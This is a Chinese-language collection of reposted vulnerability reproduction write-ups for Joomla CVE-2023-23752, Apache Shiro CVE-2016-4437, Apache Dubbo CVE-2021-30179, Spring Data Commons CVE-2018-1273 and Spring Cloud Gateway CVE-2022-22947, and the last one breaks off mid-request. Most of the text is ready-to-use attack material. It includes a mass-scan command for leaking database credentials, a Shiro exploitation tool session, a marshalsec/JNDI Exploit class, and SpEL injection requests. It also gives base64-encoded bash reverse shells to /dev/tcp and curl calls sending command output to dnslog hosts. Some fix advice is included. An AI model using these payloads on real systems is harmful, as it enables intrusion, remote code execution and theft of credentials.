CVE-2023-23752 POC Joomla! 未授权访问漏洞

CVE-2023-23752 POC Joomla! 未授权访问漏洞

本文转自雨苁 并作补充

漏洞描述

在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,可以对 web 服务端点进行未经授权访问。

漏洞详情

项目: Joomla!
子项目: CMS
影响:严重
严重性: 高
概率:高
版本: 4.0.0-4.2.7
利用类型:不正确的访问控制
报告日期: 2023-02-13
修复日期: 2023-02-16
CVE 编号: CVE​​-2023-23752

描述

不正确的访问检查允许对 web 服务端点进行未经授权的访问。

受影响的版本

Joomla! CMS 版本 4.0.0-4.2.7

解决方案

升级到版本 4.2.8

Joomla!安全中心公告

https://developer.joomla.org/security-centre
image

POC

/api/index.php/v1/config/application?public=true

批量测试

httpx -l ip.txt -path '/api/index.php/v1/config/application?public=true'

测试效果

image

漏洞分析

https://xz.aliyun.com/t/12175
Joomla(CVE-2023-23752)——一个请求参数 打穿Rest API
由于公司对漏洞的要求比较高,代码审计很快集中到了请求路由的代码块。不管是Wordpress/RounderCube还是PhpMyAdmin以及一些知名度比较高的php应用(一个Java安全研究员感到头皮发麻),我的重点对象变成了请求路由的代码追踪,一旦分析经过路由选择之后,剩下的业务代码我是完全不看了。虽然有点不专业,但是这是挖掘未授权漏洞最好的道路,最终终于找到了一个不错的高危漏洞——Joomla未授权访问Rest API。

受影响版本

Joomla大致有三个路由入口,分别是:
根目录的index.php(用户访问文章)
根目录的administrator/index.php(管理员管理)
根目录的api/index.php(开发者爱好的Rest API)
未授权的接口正是第三个入口。因此影响的只有Joomla4.0.0——Joomla4.2.7(Rest API 4.x正式开发)

分析

这里仅重点分析api/index.php这个路由的问题(index.php和administrator/index.php找不到漏洞)。
网站输入/api/index.php开启debug模式
image

index.php会来到app.php。其中$app主要的input成员存放所有的HTTP请求参数
image

在execute()函数中,会经过sanityCheckSystemVariables函数,此函数用来过滤渲染模板的参数,主要防止XSS漏洞。setupLogging和createExtensionNameSpaceMap主要是系统的额外记录工作。doExecute就是具体的路由逻辑函数。
image
doExecute中最重要的就是route和dispatch函数。

route:路由选择与鉴权

整个route函数分为两部分,路由选择和身份校验。
image

逻辑十分清晰,主要是直接通过parseApiRoute函数从请求的方法和url到$routers中找到对应的路由信息
image

身份验证的代码加上debug信息可以知道public参数控制着API是否对外开放。默认情况下是false,不对外开放。但是这里大部分情况都会选择直接下一步。但是回过头看路由获取parseApiRoute时会有新的发现
image

这里发送请求
http://x.x.x.x/api/index.php/v1/banners?public=true
再来看route变量会发现惊喜
image
此时route.var中的变量会被请求的变量覆盖。由于public=true,所以接口不需要身份验证,直接到达路由分发,也就是业务逻辑。

受损的API清单

由于能够直接访问API了,从中找到最终的信息即可。
/api/index.php/v1/config/application?public=true
此API用于获取网站最重要的配置信息,其中包含数据库的账号与密码。
其他受损API如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
v1/banners
v1/banners/:id
v1/banners
v1/banners/:id
v1/banners/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories/:id
v1/banners/:id/contenthistory
v1/banners/:id/contenthistory/keep
v1/banners/:id/contenthistory
v1/config/application
v1/config/application
v1/config/:component_name
v1/config/:component_name
v1/contacts/form/:id
v1/contacts
v1/contacts/:id
v1/contacts
v1/contacts/:id
v1/contacts/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories/:id
v1/contacts/:id/contenthistory
v1/contacts/:id/contenthistory/keep
v1/contacts/:id/contenthistory
v1/content/articles
v1/content/articles/:id
v1/content/articles
v1/content/articles/:id
v1/content/articles/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories/:id
v1/content/articles/:id/contenthistory
v1/content/articles/:id/contenthistory/keep
v1/content/articles/:id/contenthistory
v1/extensions
v1/languages/content
v1/languages/content/:id
v1/languages/content
v1/languages/content/:id
v1/languages/content/:id
v1/languages/overrides/search
v1/languages/overrides/search/cache/refresh
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB/:id
v1/languages
v1/languages
v1/media/adapters
v1/media/adapters/:id
v1/media/files
v1/media/files/:path/
v1/media/files/:path
v1/media/files
v1/media/files/:path
v1/media/files/:path
v1/menus/site
v1/menus/site/:id
v1/menus/site
v1/menus/site/:id
v1/menus/site/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items/:id
v1/menus/site/items/types
v1/menus/administrator/items/types
v1/messages
v1/messages/:id
v1/messages
v1/messages/:id
v1/messages/:id
v1/modules/types/site
v1/modules/types/administrator
v1/modules/site
v1/modules/site/:id
v1/modules/site
v1/modules/site/:id
v1/modules/site/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories/:id
v1/plugins
v1/plugins/:id
v1/plugins/:id
v1/privacy/requests
v1/privacy/requests/:id
v1/privacy/requests/export/:id
v1/privacy/requests
v1/privacy/consents
v1/privacy/consents/:id
v1/privacy/consents/:id
v1/redirects
v1/redirects/:id
v1/redirects
v1/redirects/:id
v1/redirects/:id
v1/tags
v1/tags/:id
v1/tags
v1/tags/:id
v1/tags/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator/:id
v1/users
v1/users/:id
v1/users
v1/users/:id
v1/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels/:id

复现

发送请求

http://127.0.0.1/api/index.php/v1/config/application?public=true

效果

image

Apache Shiro 默认密钥致命令执行漏洞(CVE-2016-4437)

Apache Shiro 默认密钥致命令执行漏洞(CVE-2016-4437)

本文转自xixiyuguang 并作补充

一.情况描述

1.漏洞描述

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。

2.漏洞造成的影响

在配置了默认密钥的情况下,攻击者可以通过精心构造的 Payload 实现远程命令执行,从而进一步获取服务器权限。

3.安全建议

升级shiro至最新版本1.7.0并生成新的密钥替换,注意妥善保管密钥,防止泄漏。利用官方提供的方法生成密钥:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()

4.技术参考

漏洞验证工具:https://github.com/wyzxxz/shiro_rce

二.漏洞检测工具

1.下载地址

https://xz.aliyun.com/forum/upload/affix/shiro_tool.zip

2、操作命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
2020-10-16
放出来一些功能:
1、spring/tomcat回显,执行命令的时候,x=whoami 就行
2、批量检测是否shiro, java -cp shiro_tool.jar shiro.Check http://url 或者 java -cp shiro_tool.jar shiro.Check urls=文件
3、目标服务器不出网的情况下探测

其他:
后面看情况再放出一些更通用的和内存shell


2020-08-21:
新增了cc8 cc9 cc10利用链
新增了输出payload模式,在执行命令的时候输入output=on即可。
参考下面的示例


2020-05-26:
原来的停止服务了,请下载最新版本。


java -jar shiro_tool.jar https://xx.xx.xx.xx
nocheck --> skip check target is shiro or not.
key= --> set a shiro key.
req= --> request body file 抓包保存到文件里,这里写文件名
keys= --> keys file 自定义key的文件,key按行分割,即每行写一个

[admin@ shiro]java -jar shiro_tool.jar https://xx.xx.xx.xx/
[-] target: https://xx.xx.xx.xx/
[-] target is use shiro
[-] start guess shiro key.
[-] shiro key: kPH+bIxk5D2deZiIxcaaaA==
[-] check URLDNS
[*] find: URLDNS can be use
[-] check CommonsBeanutils1
[*] find: CommonsBeanutils1 can be use
[-] check CommonsCollections1
[-] check CommonsCollections2
[-] check CommonsCollections3
[-] check CommonsCollections4
[-] check CommonsCollections5
[-] check CommonsCollections6
[-] check CommonsCollections7
[-] check CommonsCollections8
[-] check CommonsCollections9
[-] check CommonsCollections10
[-] check Groovy1
[*] find: Groovy1 can be use
[-] check JSON1
[*] find: JSON1 can be use
[-] check Spring1
[*] find: Spring1 can be use
[-] check Spring2
[-] check JRMPClient
[*] find: JRMPClient can be use
[*] JRMPClient please use: java -cp shiro_tool.jar ysoserial.exploit.JRMPListener
0: URLDNS
1: CommonsBeanutils1
2: Groovy1
3: JSON1
4: Spring1
5: JRMPClient
[-] please enter the number(0-6)
3
[-] use gadget: JSON1
[*] command example: bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1
[*] command example: curl dnslog.xx.com
[*] if need base64 command, input should startwith bash=/powershell=/python=/perl=
[-] please enter command, input q or quit to quit
> curl json.dnslog.xx.cn
[-] start process command: curl json.dnslog.xx.cn
[-] please enter command, input q or quit to quit
> bash=bash -i >& /dev/tcp/xx.xx.xx.xx/80 0>&1
[-] start process command: bash -c {echo,YmFzaD1iYXNoIC1pID4mIC9kZXYvdGNwL3h4Lnh4Lnh4Lnh4LzgwIDA+JjE=}|{base64,-d}|{bash,-i}
[-] please enter command, input q or quit to quit
> output=on
[-] print payload mode on.
[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> whoami
kPH+bIxk5D2deZiIxcaaaA== - CommonsBeanutils1 - zEC2T+ZP+ib2g+NLMrrU0LRsNu3lr7kjq
82987eI8FZxA8ckaX8LsMNHdParxVS9aYg0Oxl91WD5GztG6Dmg/QO/sjxi+kX/sFpHgqwtG4MCQoogH
Jkhnj73PI6Wn8AJWQyXoOGNMkyboGcEm0Ti1h+WMGQEqw57tRl7Pjr0pMr2oZcUj9huwC/Lfr090FX7v
rPrU5JnQm2Qo7ZrMPnxENXs0yMT6HfU75OejeF6kXbWTaGlvfByscF1ljoDR/k2txdQ1eK4nZ4ReOAqM
uUeeaXwirEw2kg58GktvB2Ghw4egXJBQUdP3H8iE+zrkf12YlPs/RAOq8w0mWfvwB7EnCW3Z83YP8vV1
+reLT9oNyUpCfjKyQVodnpZJY7If4F9al8He7E832RR3mhFvsjJDyNFTbB4TPrRqFDehSVuHib5qkh0s
0YjvCGErxDLH9pFS4G9rNYQeAnXBKeNzS5q2O0xCe5xg4X6l8R6XsU2/V1d6wd27U7u18+DJlo/v58vj
SyUtUaEAAuMN9C30Rr+r7Tk9MVC55eS8l82fURpUwttcRADhJ0esKHAFFAkwnisbAb4Uugz3IADojYlH
BNFtWFuV2dsuqkionEROKLIdVHJGR8URmk79v8lbLbpCWI3cTCf81SwwBoYylKXCyHX2X08VlEUvuHWk
ypx9gVvDuQQQFTGP4ljwpU1NlQPqxaLXmnZ5TyJN2sycL9s8VWMYls4uFATtMkpXXcwaQGFVjCzFrABv
[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> x=whoami
root

[-] please enter command, enter q or quit to quit, enter back to re-choose gadget
> quit
[-] start process command: quit
[-] quit

3、实际操作

java -jar shiro_tool.jar https://xx.xx.xx.xx/
image

三.shiro源码分析

1.当shiro版本是1.2.4

查看源码,源码中org.apache.shiro.mgt.AbstractRememberMeManager :其默认的秘钥为kPH+bIxk5D2deZiIxcaaaA==,这相当于shiro中如果没有配置秘钥,就会用这个,而这个秘钥又是众所周知的,所以系统很容易被绕过登录,直接进入后台
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

package org.apache.shiro.mgt;

public abstract class AbstractRememberMeManager implements RememberMeManager {

/**
* private inner log instance.
*/
private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);

/**
* The following Base64 string was generated by auto-generating an AES Key:
* <pre>
* AesCipherService aes = new AesCipherService();
* byte[] key = aes.generateNewKey().getEncoded();
* String base64 = Base64.encodeToString(key);
* </pre>
* The value of 'base64' was copied-n-pasted here:
*/
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

/**
* Serializer to use for converting PrincipalCollection instances to/from byte arrays
*/
private Serializer<PrincipalCollection> serializer;

/**
* Cipher to use for encrypting/decrypting serialized byte arrays for added security
*/
private CipherService cipherService;

/**
* Cipher encryption key to use with the Cipher when encrypting data
*/
private byte[] encryptionCipherKey;

/**
* Cipher decryption key to use with the Cipher when decrypting data
*/
private byte[] decryptionCipherKey;

/**
* Default constructor that initializes a {@link DefaultSerializer} as the {@link #getSerializer() serializer} and
* an {@link AesCipherService} as the {@link #getCipherService() cipherService}.
*/
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

2.当shiro版本是 >=1.2.5时

动态生成秘钥,注意这块代码

1
2
3
AesCipherService cipherService = new AesCipherService();
this.cipherService = cipherService;
setCipherKey(cipherService.generateNewKey().getEncoded());
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

package org.apache.shiro.mgt;


public abstract class AbstractRememberMeManager implements RememberMeManager {

/**
* Cipher encryption key to use with the Cipher when encrypting data
*/
private byte[] encryptionCipherKey;

/**
* Cipher decryption key to use with the Cipher when decrypting data
*/
private byte[] decryptionCipherKey;

/**
* Default constructor that initializes a {@link DefaultSerializer} as the {@link #getSerializer() serializer} and
* an {@link AesCipherService} as the {@link #getCipherService() cipherService}.
*/
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
AesCipherService cipherService = new AesCipherService();
this.cipherService = cipherService;
setCipherKey(cipherService.generateNewKey().getEncoded());
}


public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}

四.springmvc修改

1.修改pom.xml配置

升级shiro版本1.7.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!-- 升级shiro到1.2.5及以上 -->
<shiro.version>1.7.0</shiro.version>


<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>${shiro.version}</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>${shiro.version}</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-cas</artifactId>
<version>${shiro.version}</version>
<exclusions>
<exclusion>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>${shiro.version}</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-ehcache</artifactId>
<version>${shiro.version}</version>
</dependency>

2.增加一个自定义秘钥代码

参考官方的:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
 

import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AbstractSymmetricCipherService;
import org.aspectj.apache.bcel.generic.IINC;

import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;

import java.security.Key;
import java.security.NoSuchAlgorithmException;

/**
* shiro 秘钥生成器
*
* @author yuguang shiro有自己的随机生成秘钥的方法 秘钥生成器
*
*
*/
public class MySymmetricCipherService extends AbstractSymmetricCipherService {



protected MySymmetricCipherService(String algorithmName) {
super(algorithmName);
// TODO Auto-generated constructor stub
}

public static byte[] generateNewKeyFromSuper() {
KeyGenerator kg;
try {
kg = KeyGenerator.getInstance("AES");
} catch (NoSuchAlgorithmException var5) {
String msg = "Unable to acquire AES algorithm. This is required to function.";
throw new IllegalStateException(msg, var5);
}

kg.init(128);
SecretKey key = kg.generateKey();
byte[] encoded = key.getEncoded();
return encoded;
}



/**
* 使用shiro官方的生成
* org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
* @return
*/
public static byte[] getCipherKey() {
MySymmetricCipherService mySymmetricCipherService = new MySymmetricCipherService("AES");
Key gKey = mySymmetricCipherService.generateNewKey();
return gKey.getEncoded();
}

public static void main(String[] args) {
MySymmetricCipherService mySymmetricCipherService = new MySymmetricCipherService("AES");
Key gKey = mySymmetricCipherService.generateNewKey();
System.out.println("key: " + gKey.getEncoded());
System.out.println("key Base64.encodeToString: " + Base64.encodeToString(gKey.getEncoded()));

byte[] decodeValue = org.apache.shiro.codec.Base64.decode("4AvVhmFLUs0KTA3Kprsdag==");
System.out.println("decodeValue: " + decodeValue);
}

}

3.修改shiro配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<!-- 定义Shiro安全管理配置 -->
<bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
<property name="realm" ref="systemAuthorizingRealm" />
<property name="sessionManager" ref="sessionManager" />
<property name="cacheManager" ref="shiroCacheManager" />
<!-- 加入rememberMe的配置管理 -->
<property name="rememberMeManager" ref="rememberMeManager" />
</bean>


<!-- rememberMe管理器 -->
<bean id="rememberMeManager" class="org.apache.shiro.web.mgt.CookieRememberMeManager">
<!-- <property name="cipherKey" value="#{T(org.apache.shiro.codec.Base64).decode('xxxxxxxxxxxx==')}" /> -->
<property name="cipherKey" value="#{T(com.xxx.xxx.MySymmetricCipherService).getCipherKey()}" />
<property name="cookie" ref="rememberMeCookie" />
</bean>

<!-- remenberMe配置 -->
<bean id="rememberMeCookie" class="org.apache.shiro.web.servlet.SimpleCookie">
<constructor-arg value="rememberMe" />
<property name="httpOnly" value="true" />
<!-- 默认记住7天(单位:秒) -->
<property name="maxAge" value="604800" />
</bean>

4.修改完之后测试

image

CVE-2021-30179:Apache Dubbo RCE复现

CVE-2021-30179:Apache Dubbo RCE复现

本文转自Timeline Sec 并作补充

0x01 简介

Apache Dubbo是一个分布式框架,致力于提供高性能透明化的RPC远程服务调用方案,以及SOA服务治理方案。Apache Dubbo在实际应用场景中主要负责解决分布式的相关需求。

0x02 漏洞概述

Apache Dubbo默认支持泛化引用由服务端API接口暴露的所有方法,这些调用由GenericFilter处理。GenericFilter将根据客户端提供的接口名、方法名、方法参数类型列表,根据反射机制获取对应的方法,再根据客户端提供的反序列化方式将参数进行反序列化成pojo对象,反序列化的方式有以下选择:
true
raw.return
nativejava
bean
protobuf-json
我们可以通过控制反序列化的方式为raw.return/true、nativejava、bean来反序列化我们的参数从而实现反序列化,进而触发特定Gadget的,最终导致了远程命令执行漏洞

0x03 影响版本

Apache Dubbo 2.7.0 to 2.7.9
Apache Dubbo 2.6.0 to 2.6.9
Apache Dubbo all 2.5.x versions (官方已不再提供支持)

0x04 环境搭建

以Apache Dubbo 2.7.9为测试环境
1、下载zookeeper
https://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz
解压后的根目录下新建data和logs两个文件夹,修改conf目录下的zoo_sample.cfg为zoo.cfg,覆盖原有的dataDir并添加dataLogDir
image

2、双击bin目录下的zkServer.cmd,启动zookeeper,默认监听2181端口
image

3、下载测试Demo及POC:
https://github.com/lz2y/DubboPOC
该测试Demo是我在基础的Dubbo测试项目上添加了需要使用的Gadget所需的依赖(该CVE使用的为org.apache.xbean以及CC4)
师傅们也可以参考https://mp.weixin.qq.com/s/9DkD2g09mmplZ7mow81sDw安装官方提供的项目进行测试
(项目里的POC是我在参考链接的基础上修改后的结果,后续会更新Dubbo的其他CVE、GHSL的POC)

4、启动Provider
image

0x05 漏洞复现

1、下载marshalsec并编译得到jar包

1
2
git clone https://github.com/mbechler/marshalsec
mvn clean package –DskipTests

2、创建Exploit.java文件,通过javac得到Exploit.class文件

1
2
3
4
5
6
7
8
9
10
11
12
public class Exploit {

static {
System.err.println("Pwned");
try {
String cmds = "calc";
Runtime.getRuntime().exec(cmds);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}

3、在Exploit.class目录下开启http服务
python -m http.server 8000
image

4、使用marshalsec开启JNDI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 8087

5、查看暴露的接口及其方法

1
2
3
4
telnet Dubbo服务ip Dubbo服务端口
ls
cd 服务
ls

image

打开src\main\java\top\lz2y\vul\CVE202130179.java修改上一步得到的接口名及其方法
image

6、替换CVE-2021-30179.java中的POC1的ldap uri
image

填写Dubbo服务的ip以及端口号
image

7、运行即可发起JNDI注入执行打开计算器
image

POC2同POC1,只需修改LDAP服务地址即可使用
POC3为通过nativejava选项反序列化触发sink点,这里以CC4为例,利用yso生成CC4的序列化文件
java -jar ysoserial.jar CommonsCollections4 "calc" > 1.ser
修改POC中反序列化文件的路径
image

运行即执行calc弹出计算器

0x06 修复方式

升级 Apache Dubbo 至最新版本;
设置 Apache Dubbo 相关端口仅对可信地址开放。

参考链接

https://mp.weixin.qq.com/s/9DkD2g09mmplZ7mow81sDw
https://securitylab.github.com/advisories/GHSL-2021-034_043-apache-dubbo/

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)漏洞验证与getshell

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)漏洞验证与getshell

本文转自樱浅沐冰 并作补充

影响版本

Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)

复现过程

vulhub
详细过程请看Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

一、验证

这里使用dnslog来验证。
先获取一个dns地址
t15gcx.dnslog.cn
image

拼接命令
curl whoami.t15gcx.dnslog.cn

base64编码
对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符)
image

bash -c {echo,Y3VybCBgd2hvYW1pYC50MTVnY3guZG5zbG9nLmNu}|{base64,-d}|{bash,-i}

Exp

替换对应的payload,重新发送数据包
成功反弹回显到dnslog上
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,Y3VybCBgd2hvYW1pYC50MTVnY3guZG5zbG9nLmNu}|{base64,-d}|{bash,-i}")]=&password=&repeatedPassword=

image

二、反弹shell

反弹shell
bash -i >& /dev/tcp/192.168.100.23/9090 0>&1

base64编码
对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4yMy85MDkwIDA+JjE=}|{base64,-d}|{bash,-i}
监听9090端口
image

替换掉curlwhoami.t15gcx.dnslog.cn对应的payload,重新发送数据包
成功反弹shell
image

参考文章

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
Vulhub CVE-2018-1273

Spring Cloud Gateway rce(CVE-2022-22947)

Spring Cloud Gateway rce(CVE-2022-22947)

本文转自6right 并作补充

漏洞描述

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
也是codeql发现的

漏洞影响

3.1.0
3.0.0至3.0.6
3.0.0之前的版本

复现漏洞

首先,发送以下请求以添加包含恶意SpEL 表达式的路由器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 333

{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

反弹shell将命令替换为base64命令即可
Content-Type: application/json

image

其次,刷新网关路由器。SpEL 表达式将在此步骤中执行:

1
2
3
4
5
6
7
8
9
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image

第三,发送以下请求以检索结果:

1
2
3
4
5
6
7
8
9
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
